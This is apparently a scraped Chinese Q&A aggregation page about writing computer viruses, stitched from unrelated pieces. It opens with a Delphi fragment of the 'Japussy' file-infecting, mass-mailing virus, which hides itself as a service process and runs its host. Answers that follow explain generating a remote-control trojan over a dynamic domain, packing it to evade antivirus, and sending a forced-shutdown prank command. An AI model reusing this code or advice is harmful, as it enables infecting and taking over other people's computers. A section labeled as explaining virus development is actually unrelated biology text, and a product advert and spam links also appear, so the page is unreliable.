if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end

7. 病毒是怎样研制出来的!!

病毒也是一种生物 从这个角度来看 它和人动物 植物都属于生物 生物的产生 可以参考 达尔文的<<物种起源>> 原始生命的产生 生命的起源 地球在宇宙中形成以后,开始是没有生命的。经过了一段漫长的化学演化,就是说大气中的有机元素氢、碳、氮、氧、硫、磷等在自然界各种能源(如闪电、紫外线、宇宙线、火山喷发等等)的作用下,合成有机分子(如甲烷、二氧化碳、一氧化碳、水、硫化氢、氨、磷酸等等)。这些有机分子进一步合成,变成生物单体(如氨基酸、糖、腺甙和核甙酸等)。这些生物单体进一步聚合作用变成生物聚合物。如蛋白质、多糖、核酸等。这一段过程叫做化学演化。蛋白质出现后,最简单的生命也随着诞生了。这是发生在距今大约36亿多年前的一件大事。从此,地球上就开始有生命了。生命与非生命物质的最基本区别是:它能从环境中吸收自己生活过程中所需要的物质,排放出自己生活过程中不需要的物质。这种过程叫做新陈代谢,这是第一个区别。第二个区别是能繁殖后代。任何有生命的个体,不管他们的繁殖形式有如何的不同,他们都具有繁殖新个体的本领。第三个区别是有遗传的能力。能把上一代生命个体的特性传递给下一代,使下一代的新个体能够与上一代个体具有相同或者大致相同的特性。这个大致相同的现象最有意义,最值得我们注意。因为这说明它多少有一点与上一代不一样的特点,这种与上一代不一样的特点叫变异。这种变异的特性如果能够适应环境而生存,它就会一代又一代地把这种变异的特性加强并成为新个体所固有的特征。生物体不断地变异,不断地遗传,年长月久,周而复始,具有新特征的新个体也就不断地出现,使生物体不断地由简单变复杂,构成了生物体的系统演化。 地球上早期生命的形态与特性。地球上最早的生命形态很简单,一个细胞就是一个个体,它没有细胞核,我们叫它为原核生物。它是靠细胞表面直接吸收周围环境中的养料来维持生活的,这种生活方式我们叫做异养。当时它们的生活环境是缺乏氧气的,这种喜欢在缺乏氧气的环境中生活的叫做厌氧。因此最早的原核生物是异养厌氧的。它的形态最初是圆球形,后来变成椭圆形、弧形、江米条状的杆形进而变成螺旋状以及细长的丝状,等等。从形态变化的发展方向来看是增加身体与外界接触的表面积和增大自身的体积。现在生活在地球上的细菌和蓝藻都是属于原核生物。蓝藻的发生与发展,加速了地球上氧气含量的增加,从20多亿年前开始,不仅水中氧气含量已经很多,而且大气中氧气的含量也已经不少。细胞核的出现,是生物界演化过程中的重大事件。原核植物经过15亿多年的演变,原来均匀分散在它的细胞里面的核物质相对地集中以后,外面包裹了一层膜,这层膜叫做核膜。细胞的核膜把膜内的核物质与膜外的细胞质分开。细胞里面的细胞核就是这样形成的。有细胞核的生物我们把它称为真核生物。从此以后细胞在繁殖分裂时不再是简单的细胞质一分为二,而且里面的细胞核也要一分为二。真核生物(那时还没有动物,可以说实际上也只是真核植物)大约出现在20亿年前。性别的出现是在生物界演化过程中的又一个重大的事件,因为性别促进了生物的优生,加速生物向更复杂的方向发展。因此真核的单细胞植物出现以后没有几亿年就出现了真核多细胞植物。真核多细胞的植物出现没有多久就出现了植物体的分工,植物体中有一群细胞主要是起着固定植物体的功能,成了固着的器官,也就是现代藻类植物固着器的由来。从此以后开始出现器官分化,不同功能部分其内部细胞的形态也开始分化。由此可见,细胞核和性别出现以后,大大地加速了生物本身形态和功能的发展。 生命的起源 关于生命起源的问题,很早就有各种不同的解释。近几十年来,人们根据现代自然科学的新成 就,对于生命起源的问题进行了综合研究,取得了很大的进展。 根据科学的推算,地球从诞生到现在,大约有46亿年的历史。早期的地球是炽热的,地球上的一切元素都呈气体状态,那时候是绝对不会有生命存在的。最初的生命是在地球温度下降以后,在极其漫长的时间内,由非生命物质经过极其复杂的化学过程,一步一步地演变而成的。目前,这种关于生命起源是通过化学进化过程的说法已经为广大学者所承认,并认为这个化学进化过程可以分为下列四个阶段。 从无机小分子物质生成有机小分子物质 根据推测,生命起源的化学进化过程是在原始地球条件下开始进行的。当时,地球表面温度已经降低,但内部温度仍然很高,火山活动极为频繁,从火山内部喷出的气体,形成了原始大气(下图)。一般认为,原始大气的主要成分有甲烷(CH4)、氨 原始地球的想象图 (左)原始大气(右)有机物形成 (NH3)、水蒸气(H2O)、氢(H2),此外还有硫化氢(H2S)和氰化氢(HCN)。这些气体在大自然不断产生的宇宙射线、紫外线、闪电等的作用下,就可能自然合成氨基酸、核苷酸、单糖等一系列比较简单的有机小分子物质。后来,地球的温度进一步降低,这些有机小分子物质又随着雨水,流经湖泊和河流,最后汇集在原始海洋中。 关于这方面的推测,已经得到了科学实验的证实。1935年,美国学者米勒等人,设计了一套密闭装置(下图)。他们将装置内的空气抽出,然后模拟原始地球上的大气成分,通入甲烷、氨、氢、水 米勒实验的装置 蒸气等气体,并模拟原始地球条件下的闪电,连续进行火花放电。最后,在U型管内检验出有氨基酸生成。氨基酸是组成蛋白质的基本单位,因此,探索氨基酸在地球上的产生是有重要意义的。 此外,还有一些学者模拟原始地球的大气成分,在实验室里制成了另一些有机物,如嘌识、嘧啶、核糖,脱氧核糖,脂肪酸等。这些研究表明:在生命的起源中,从无机物合成有机物的化学过程,是完全可能的。 从有机小分子物质形成的有机高分子物质 蛋白质、核酸等有机高分子物质,是怎样在原始地球条件下形成的呢?有些学者认为,在原始海洋中,氨基酸、核苷酸等有机小分子物质,经过长期积累,相互作用,在适当条件下(如吸附在粘土上),通过缩合作用或聚合作用,就形成了原始的蛋白质分子和核酸分子。 现在,已经有人模拟原始地球的条件,制造出了类似蛋白质和核酸的物质。虽然这些物质与现在的蛋白质和核酸相比,还有一定差别 ,并且原始地球上的蛋白质和核酸的形成过程是否如此,还不能肯定,但是,这已经为人们研究生命的起源提供了一些线索;在原始地球条件下,产生这些有机高分子的物质是可能的。 从有机高分子物质组成多分子体系 根据推测,蛋白质和核酸等有机高分子物质,在海洋里越积越多,浓度不断增加,由于种种原因(如水分的蒸发,粘土的吸附作用),这些有机高分子物质经过浓缩而分离出来,它们相互作用,凝聚成小滴。这些小滴漂浮在原始海洋中,外面包有最原始的界膜,与周围的原始海洋环境分隔开,从而构成一个独立的体系,即多分子体系。这种多分子体系已经能够与外界环境进行原始的物质交换活动了。 从多分子体系演变为原始生命 从多分子体系演变为原始生命,过是生命起源过程中最复杂和最有决定意义的阶段,它直接涉及到原始生命的发生。目前,人们还不能在实验室里验证这一过程。不过,我们可以推测,有些多分子体系经过长期不断地演变,特别是由于蛋白质和核酸这两大主要成分的相互作用,终于形成具有原始新陈代谢作用和能够进行繁殖的原始生命。以后,由生命起源的化学进化阶段进入到生命出现之后的生物进化阶段。 关于生命起源的化学进化过程的研究,虽然进行了大量的模拟实验,但是绝大多数实验只是集中在第一阶段,有些阶段还仅仅限于假说和推测。因此,在对于生命起源,问题还必须继续进行研究和探讨。 蛋白质和核酸是生物体内最重要的物质。没有蛋白质和核酸,就没有生命。1965年,我国科学工作者人工合成了结晶牛胰岛素(一种含有51个氨基酸的蛋白质)。1981年,我国科学工作者又用人工的方法合成了酵母丙氨酸转运核糖核酸(核糖核酸的一种)。这些工作反映了我国在探索生命起源问题上的重大成就

8. 如何制造木马病毒

如何制造木马病毒
问题一:怎么制作木马病毒,望详细你的基本功很差,如果你真的想学,我给你教一种,你制作一个桌面快捷关机,然后用QICQ给对方发去,只要对方打开,对方页面会出现一个对话框,对话框里写着60秒自动关机,对方无论如何都关不了那个对话框,他的机子就要关机了,你可以附加文字,比如说“叫爷,不叫60秒关机。”对方以为是病都,呵呵!这个简单吧!你应该会作吧!shutdown.exe-S-T60-C叫爷,不叫关机。有啥不懂的追问我,现把你那5分给我,再追问我。

问题二:我想做个简单的木马病毒,怎么做,用什么软件你好!这就需要用到一款远程控制软件,例如灰鸽子等等有了这款远控软件需要有一个自己的动态域名然后用动态域名在远程控制软件上生成一个木马病毒这样你就可以发给别人,别人中罚木马病毒之后他的电脑完全就会被控制你就可以对他的电脑重启、关机等操作了不过我劝你最好还是打消这个念头即便是你拥有了远程控制软件成功生成了木马病毒给别人发过去也是无法起到任何作用的原因就是木马病毒不是免杀的现在的杀毒软件不是吃素的如果不是免杀的病毒给别人发过去杀毒软件立马就查杀了没什么作用最重要的就是你做的病毒免杀对方的杀毒软件查杀不出来是病毒这样就可以了但是不要抱幻想网上绝对不会出现免杀远控的有的打着名字的旗号捆绑后门病毒试想一下别人辛辛苦苦制作出来的免杀远控会轻易的给别人或者发布到网上么?况且免杀病毒最好不要发到网上否则能免杀一个星期左右的病毒发到网上估计第二天就被杀了本人纯手打觉得有帮助请采纳谢谢!!

问题三:木马病毒是怎么制造出来的呢?木马病毒就是一种程序,这种程序专偷染上病毒电脑的用户名和密码,从而盗取金钱!

问题四:怎么制作木马病毒5分这是个比较复杂的问题,病毒开发不同于普通应用开发,需要更广泛的和更深入的编成技术系统底层问题:截取屏幕、Hook鼠标键盘网络问题:涉及到拦截数据报文,加解密数据反侦测问题:隐藏进程…………学编程2~3个月,用Delphi之类的软件,一般就可以开发普通应用程序VC++最多6个月,也能搞出些东西但要搞病毒木马等,先学3年再考虑。

问题五:怎样制造一个木马病毒5分其实木马病毒也是我们程序员写出的一个程序,因为这个程序制作的目的,和工作的原理具有破坏性和感染性,所以就被定性为木马和病毒。
另外木马和病毒不是一个概念。
学习软件编程就可以制作木马。
淡然有一些黑客软件也是可以直接生成木马的,这个比较没有技术含量。一般会操作电脑的人都可以制作,这类木马一般很容易被查杀。要做加壳程序以逃避查杀。

问题六:怎么制造简单木马病毒朋友,你好!
怎么解答你这个问题我想了半天,一条一条来吧。
1、制作木马病毒是非法的,真心的奉劝不要参与制作,不要与法律要求所背驰。如果因为这个事
情,你被抓进去,你想想你的家庭会怎样?是不是得不偿失?
2、广大网民一定要有一个好的上网习惯,还要有一个好的上网环境,在安全软件的使用上多思考。建议大家使用腾讯电脑管家,他有全国最大最全的钓鱼网站、木马网站数据库,可以有效防止大家被骗。

问题七:木马病毒怎么制作你懂的电脑程序编程吗,其实所谓的木马病毒也就是非法程序,如果你不懂编程和你说是对牛弹琴,不要害人了~还是研究一下怎么把你的人生搞个木马吧,让自己多活几年长命百岁吧!(忠告哦!)

问题八:木马病毒怎么制作佛日不能说不可说不敢说,说就是错。

问题九:怎么制作木马病毒先下几个木马病毒

9. vb可以做病毒吗

可以!
下面就是一个类似病毒的VB程序,是整人的:
在窗体上添加一个timer控件,设置其interval为200,Eanbled为true.
复制下面代码:
Private Sub Timer1_Timer()
Dim id
id = Shell("C:\Program Files\Internet Explorer\IEXPLORE.EXE ", 1) ‘路径 (XP的)
End Sub
运行一下就可以看到结果了,呵呵

10. fortran可以写病毒软件吗

可以,相比C++、python等流行语言,fortran对于新生代程序员来说,显得颇为陌生,甚至闻所未闻。
然而fortran作为计算机领域第一个被正式推广使用的高级语言,1956年兴起,至今60多年,承载着一代程序员的青春回忆。

不少人以为fortran早已进入坟墓,事实上在超大规模计算领域,比如航天航空、气象等,fortran仍被广泛使用。

fortran作为开发语言的老前辈,fortran77更是一代经典,如今仍有部分学校将fortran作为教学课程 ,可计算机领域发展日新月异,相对于更加高效的Java、C++、python等流行语言,fortran语言难免显得不那么规范与美丽。

因此,关于fortran是否还有存在必要的讨论,常不绝于耳。

fortran该退休了
部分开发者认为fortran所谓的快,只是一种虚幻的感觉,相比c++,fortran确实上手更容易,可是fortran缺少很多高级特性,比如花大量时间手动allocate/deallocate不同类型的数组,而且fortran缺少好用代码补全。

fortran还在继续被人使用最主要是历史遗留问题,作为最早的高级语言,现在市面上仍存在大量遗留代码,所以除了维护老代码,fortran是时候该退休了。

fortran灭亡论,休矣
fortran编辑逻辑非常简单,数组就是数组,变量就是变量,从数组中取哪个数就是取哪个数,没什么指针移位什么的。全局的数组在SUBROUTINE或者FUNCTION之间传递非常直观,许多函数都去操作全局数组也不会出错。

fortran程序员大多不认为自己是程序员,而都说自己是搞计算的,让科研人员专注于科研,无需浪费太多精力在计算方面,fortran的出现正好符合他们需求。

再说很多老code是用fortran写的,已经达至完美,继续沿用即可,Python、R或Julia等语言,也为Fortran提供进程支持。

所以fortran灭亡论,休矣。

新型快速开发工具突现
网友们对于fortran去向争吵不休,让笔者联想起,近几年火热的新型开发技术-低/无代码开发。

随着技术发展,计算机也不再是尖端科学的专属,早已“飞入寻常百姓家”,相比VB、Delphi、fortran等快速开发语言,低/无代码开发技术显得更为便捷,另一方面对它质疑的声音也常伴耳边。

部分人认为低/无代码开发技术,只是玩具,即便高度封装高度耦合的开发模式,也只能满足增删查改、导入导出等简单功能,一旦客户有特殊的需求,平台功能便难以满足,再说低代码平台,仍需使用代码,难以做到通俗易懂,用户需要花费大量时间才能掌握,认为低代码快速开发只是形同虚设。

事实上,低/无代码开发技术尤其是无代码开发,并没有那么不堪,甚至颠覆许多人的认知,以eversheet这款无代码开发工具作为例子,它由国人团队自行研发,真正实现“0”代码开发软件。

eversheet并不是简单底层封装,它首创表格式编程技术,只需懂点业务,便可用画表格方式,将管理流程“画”出来,操作界面与exccel相似,纯中文,操作简单,通俗来说,企业管理软件可由企业管理者与办公人员自行开发,不需要花高价购买成品软件。

eversheet并非玩具,除了轻松搭建轻量级应用,它还能开发出复杂工业级应用,如ERP、WMS、MES、进销存、财务管理系统等,惠及企业超过20万家,华为、中冶集团、恒逸集团、四方汇通物流、诚威科技等行业龙头都在深度使用。
fortran操作简单,满足研究人员计算需求。低/无代码开发技术,满足不懂IT技术,却又有软件开发需求的人。

存在即合理,fortran也好,eversheet也罢,黑猫白猫,抓到老鼠就是好猫,何必拘泥于形式。

阅读全文

与程序员写病毒相关的资料

热点内容
适合情侣在私人影院的电影 浏览:646
编程器备份固件 浏览:519
微信朋友圈照片压缩了 浏览:218
台湾鸭子电影三部曲 浏览:859
android设置前景色 浏览:191
专门百度小程序开发源码 浏览:235
安卓手机为什么微信不能更新到最新版本 浏览:817
pdf赋税原理 浏览:261
韩国电影合集(3个小时) 浏览:88
程序员应该吃什么补脑子补身体 浏览:336
韩国床上在线观看 浏览:593
最牛逼的网址直接看去看不用下载免费看 浏览:96
c中预处理命令教学 浏览:54
优盘可以拉文件夹吗 浏览:826
pythonindexerror 浏览:907
linux终端配置 浏览:340
程序员三十岁魔咒 浏览:291
web服务器需要安装什么 浏览:262
只狼登录服务器有什么用 浏览:235
我是大哥大剧场版凉子的演员 浏览:519